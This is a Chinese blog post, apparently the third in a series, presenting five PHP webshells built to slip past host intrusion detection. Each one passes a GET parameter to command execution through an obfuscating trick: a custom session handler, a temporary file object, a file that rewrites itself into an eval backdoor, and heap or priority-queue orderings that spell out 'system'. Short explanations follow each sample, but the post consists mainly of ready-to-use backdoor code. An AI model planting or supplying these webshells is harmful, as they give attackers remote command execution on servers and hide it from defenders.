WEB安全--RCE--webshell HIDS bypass3

继WEB安全--RCE--webshell HIDS bypass2的补充:

八、定义类实现接口

webshell:

php 复制代码
<?php
ini_set("display_errors",1);
class MySessionHandler implements SessionHandlerInterface
{
 // implement interfaces here
 public function close()
 {
 // TODO: Implement close() method.
 }
 public function destroy($id)
 {
 // TODO: Implement destroy() method.
 }
 public function gc($max_lifetime)
 {
 // TODO: Implement gc() method.
 }
 public function open($path, $name)
 {
 $path($name);
 }
 public function read($id)
 {
 // TODO: Implement read() method.
 }
 public function write($id, $data)
 {
 // TODO: Implement write() method.
 }
}
$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_name($_GET[a]);
session_save_path('system');
session_start();

原理:

我们定义了一个类MySessionHandler,其实现了SessionHandlerInterface接口

执行位置在这里

我们传递path和name,并用session_start()启动会话就能执行我们定义MySessionHandler类中的open()方法了。

九、读取临时文件

webshell:

php 复制代码
<?php
$a = new SplTempFileObject(1000000);
$a->fwrite( $_GET['a']);
$a->rewind();
substr(get_declared_classes()[70],4,6)($a->fgets());
//fgets() 从临时文件中读取一行数据。
?>

原理:

php 复制代码
$a = new SplTempFileObject(1000000);

这行代码创建了一个临时文件对象$a,其最大容量为1000000字节。

php 复制代码
$a->rewind();

rewind()方法将文件指针移动到文件的开头。这对于后续读取操作是必要的,因为数据已经写入到临时文件中,而现在我们需要从文件的开头读取数据。

十、自己改变自己

webshell:

php 复制代码
<?php
$s="Declaring file object\n";
$d=$_SERVER['DOCUMENT_ROOT'].$_SERVER['DOCUMENT_URI'];
$file = new SplFileObject($d,'w');
$file->fwrite("<?php"." eva".$s[3]);
$file->fwrite("(\$_"."GET"."[a]);?>");
include(get_included_files()[0]);
?>

原理:

构造文件绝对路径:

php 复制代码
$d=$_SERVER['DOCUMENT_ROOT'].$_SERVER['DOCUMENT_URI'];

使用SplFileObject创建一个文件对象$file,并以写入模式('w')打开文件。

然后$file使用fwrite写入代码,代码执行过后会被修改为

php 复制代码
<?php eval($_GET['a']); ?>

get_included_files():返回当前脚本中已经被加载的文件列表

php 复制代码
include(get_included_files()[0]);

而get_included_files()0就代表返回的是该文件本身,并用include()执行改写后的代码

十一、堆排序

webshell:

php 复制代码
<?php
$obj=new SplMaxHeap();
$obj->insert( $_GET[a] );
$obj->insert( 8 );
$obj->insert( 'system' );
$obj->insert( 7 );
$obj->insert( 0 );
//$obj->recoverFromCorruption();
$i=0;
foreach( $obj as $number ) {
 $i++;
 if($i==1) {
 $a = $number;
 }
 if($i==2) {
 $b = $number;
 }
}
$a($b);

原理:

提取插入过后obj变量的值,后命令执行,

这里需要理解堆排序的原理,然后根据原理来选出a和b对应的值

当我们$_GETa传入的数据为s,那么堆排序就是:8 7 0 's' 'system'

当我们$_GETa传入的数据为99;ls,那么堆排序就是:'system' '99;ls' 8 7 0

所以第二种情况取出的数据就能拼接为system(99;ls)

十二、优先队列排序

webshell:

php 复制代码
<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',7);
$objPQ->insert('e',3);
$objPQ->insert('s',5);
$objPQ->insert('y',6);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
 $m.=$objPQ->current();
 $objPQ->next();
}
echo $m($cur->getMessage());
?>

原理:

与堆排序的原理相似,也是通过传入的参数来影响能否组成命令执行代码

当$_GETa传入的值为4,队列的排序会组成system

进而拼接为system($_GETb);

相关推荐
Setsuna_F_Seiei6 小时前
前端转型 Agent 开发 06 之 Agent Memory 记忆系统(让 Agent 更智能,更懂你)
前端·agent·ai编程
zhangzeyuaaa7 小时前
Ruby 多线程、GVL(GIL)与 Mutex 完全指南
开发语言·前端·ruby
默_笙7 小时前
🌊 向量库和 ES 都查不出"关系",我只好给奶茶建了一张人脉网
前端·javascript
优选资讯8 小时前
标签打印软件怎么对接 Excel 数据
前端·excel
小蒋观天下9 小时前
专项方案:大场景港口AI安防、多干扰环境下的算法调优与落地实操
人工智能·深度学习·算法·安全·机器学习·计算机视觉·ai大模型
一个风轻云淡9 小时前
GCC 和 GDB命令简单解读
java·linux·前端
谢亮_vipxieliang9 小时前
Kubernetes 1.36 深度解读:从 kubelet 安全到 GPU 原生调度的 70 项改进
安全·kubernetes·kubelet
梦帮科技9 小时前
【3.0修订版】跨链中继与事件编排:Relayer 监听、多签验证与故障自愈
web安全·金融·区块链·密码学·智能合约·安全架构·信任链
u01110267510 小时前
图片处理接口如何统一错误信息 前端提示与后端错误码设计
前端·状态模式
YH行业报告分析10 小时前
2026衬氟调节阀市场深度解析:耐腐蚀流体控制设备如何赋能化工行业安全升级?
安全